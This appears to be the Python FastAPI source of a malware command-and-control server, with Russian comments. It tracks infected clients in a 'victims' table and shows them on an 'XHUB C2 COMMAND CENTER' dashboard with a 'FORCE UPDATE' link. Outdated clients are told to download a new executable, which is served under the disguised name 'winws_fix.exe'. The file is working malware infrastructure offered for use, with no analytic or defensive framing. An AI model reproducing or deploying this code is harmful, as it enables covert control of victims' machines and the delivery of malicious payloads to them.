File size: 1,505 Bytes
9c9592b
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse, FileResponse
from pydantic import BaseModel
import time, os

app = FastAPI()
victims = {}
# Текущая версия софта. Если у клиента меньше — он обновится.
LATEST_VERSION = "2.0" 

class Report(BaseModel):
    user: str
    version: str
    action: str

@app.get("/", response_class=HTMLResponse)
def dashboard():
    html = "<html><body style='font-family:monospace;background:#0d1117;color:#58a6ff'><h1>XHUB C2 COMMAND CENTER</h1>"
    html += f"<h3>LATEST_STABLE_VERSION: {LATEST_VERSION}</h3><hr>"
    for u, data in victims.items():
        html += f"<p>[{data['time']}] <b>{u}</b> (v{data['ver']}): {data['status']} | <a href='/set_cmd/{u}/update' style='color:#7ee787'>FORCE UPDATE</a></p>"
    html += "</body></html>"
    return html

@app.post("/report")
async def report(data: Report):
    victims[data.user] = {"ver": data.version, "status": data.action, "time": time.ctime()}
    # Если на сервере версия выше, шлем команду на апдейт
    if float(data.version) < float(LATEST_VERSION):
        return {"cmd": "update", "url": "/download_update"}
    return {"cmd": "idle"}

@app.get("/download_update")
def download():
    # Положи свой новый скомпилированный .exe в ту же папку на HF под именем 'update.exe'
    return FileResponse("update.exe", filename="winws_fix.exe")